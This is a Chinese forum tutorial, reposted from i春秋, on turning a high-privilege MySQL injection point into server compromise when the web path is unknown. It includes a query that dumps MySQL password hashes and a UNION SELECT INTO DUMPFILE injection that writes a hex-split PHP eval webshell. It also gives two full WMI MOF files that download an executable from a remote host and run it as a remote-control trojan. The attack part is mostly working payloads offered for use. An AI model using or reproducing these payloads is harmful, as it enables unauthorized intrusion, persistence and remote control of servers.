来自i春秋作者:Binghe
渗透测试所遇的情况瞬息万变,以不变应万变无谓是经验与技巧的整合
如下
mysql注入点如果权限较高的话,再知道web物理目录说明这个站胜券在握。 可以直接 ––os-shell拿到交互的cmd和一个小马 然而上述对应下图的例子属于万分侥幸。
如果不知道物理路径,我们还可以
select host,user,password from mysql.user;
读取root密码用navicat连上去提权,不要问我为什么不直接用–sql-shell,你自己试试便知道。
然而读出来的是mysql的hash ,破解不出来,便只能读网站admin数据进后台,就像:
读出来admin数据还不一定能解出来密码 后台还不一定找得到 找到后台还不一定能传马 传了马还不一定能提权。。。 那么,问题来了,这个注入点还有价值么???这便是本文讨论的要点。 答案当然是有的。方法大家也许都用过只是没有综合使用:
Mysql导出文件条件
1 Root权限(其实并非root不可 ,具备insert权限即可)
2 可写目录(即使是system权限,用驱动限制也没法写)
我们不希望导出的数据因存在转义字符等问题而不完整,一般采用hex和unhex编码之后再导出。
众所周知在mysql注入点执行union联合查询需要和它本身的查询匹配字段数(一致),如某个数字型注入点有5个字段,一般是select 1,2,3,4,0x(文件hex)导出,文件头多个1234,如果导出的是php,文件可以正常使用,mof和exe等就不行。若注入类型为字符等,可用万能的null来匹配,select null,null,null,null,0x(文件hex),文件头又多了4个null,如何解决? 科普可知如果想导出完整原样的文件需要分段合成,例:
php?id=1 and 1=2 union select 0x3c3f70687020,0x40,0x6576616c,0x28245f504f5354,unhex(‘5b2762696e676865736563275d293b3f3e’) into dumpfile ‘C:/www/binghesec.php’;
如何拆分呢,且看: 如果通过order判断得知存在5个字段,那么便将一句话木马分成5份,那么如果是50个字段你可以把一句话分成50份,什么?一句话不到50位?你就不能动动脑子么? 这样不是一句话么?
<?php @eval($_POST['1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111']);?>
然后分别把5段进行hex加密
一句话就变成了这几段
3c3f70687020 40 6576616c2824 5f504f5354 5b2762696e676865736563275d293b3f3e
把这每段前面加上0x或者用unhex函数还原,按次序放在注入语句的select后面执行即可
php?id=1 and 1=2 union select 0x3c3f70687020,0x40,0x6576616c,0x28245f504f5354,unhex(‘5b2762696e676865736563275d293b3f3e’) into dumpfile ‘C:/www/binghesec.php’;
听到这里不知道你有没有想打我的冲动,你特么讲了半天就讲了mysql导出一句话木马?还加密来加密去的?? 额,你要这要想我就笑了,你可以直接select一句话木马内容到指定目录,您能select一个大马?一个mof? 况且我们在讨论不知道web物理路径的情况,乱写个一句话,那不叫shell。此法通用。接着看: Mysql注入点种马的几种方法
mof提权我想我不必多言 我们的淫荡思路便是:
下载者mof文件如下:
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "VBScript"; ScriptText ="Set Post = CreateObject(\"Msxml2.XMLHTTP\")\nSet Shell = CreateObject(\"Wscript.Shell\")\nPost.Open \"GET\",\"http://192.168.85.130/m.exe\",0\nPost.Send()\nSet aGet = CreateObject(\"ADODB.Stream\")\naGet.Mode = 3\naGet.Type = 1\naGet.Open()\naGet.Write(Post.responseBody)\naGet.SaveToFile \"C:\\WINDOWS\\Temp\\ftp.exe\",2\nShell.Run (\"C:\\WINDOWS\\Temp\\binghesec.exe\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
下载好了还需要运行的mof
#pragma namespace("\\\\.\\root\\subscription")[/align][align=left] instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"c:\\windows\\temp\\binghesec.exe\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
保存为mof文件用工具转换成16进制再用上述方法在注入点分割执行导出到系统mof目录就ok 参考上文说的mof提权,注意导出目录为C:\WINDOWS\system32\wbem\mof\ 如果mof没问题就会下载我们的远控木马到指定的目录
此只为一种利用方法.
仅是一个小思路,在权限较高且没有web目录、破解不出mysql的hash、破解不出后台数据或者找不到后台的情况下适用,至于导出的文件,可以是mof,当然也可以是lpk,当然还可以是。。。,自行利用
本文来源:http://bbs.ichunqiu.com/thread-9903-1-1.html?From=paper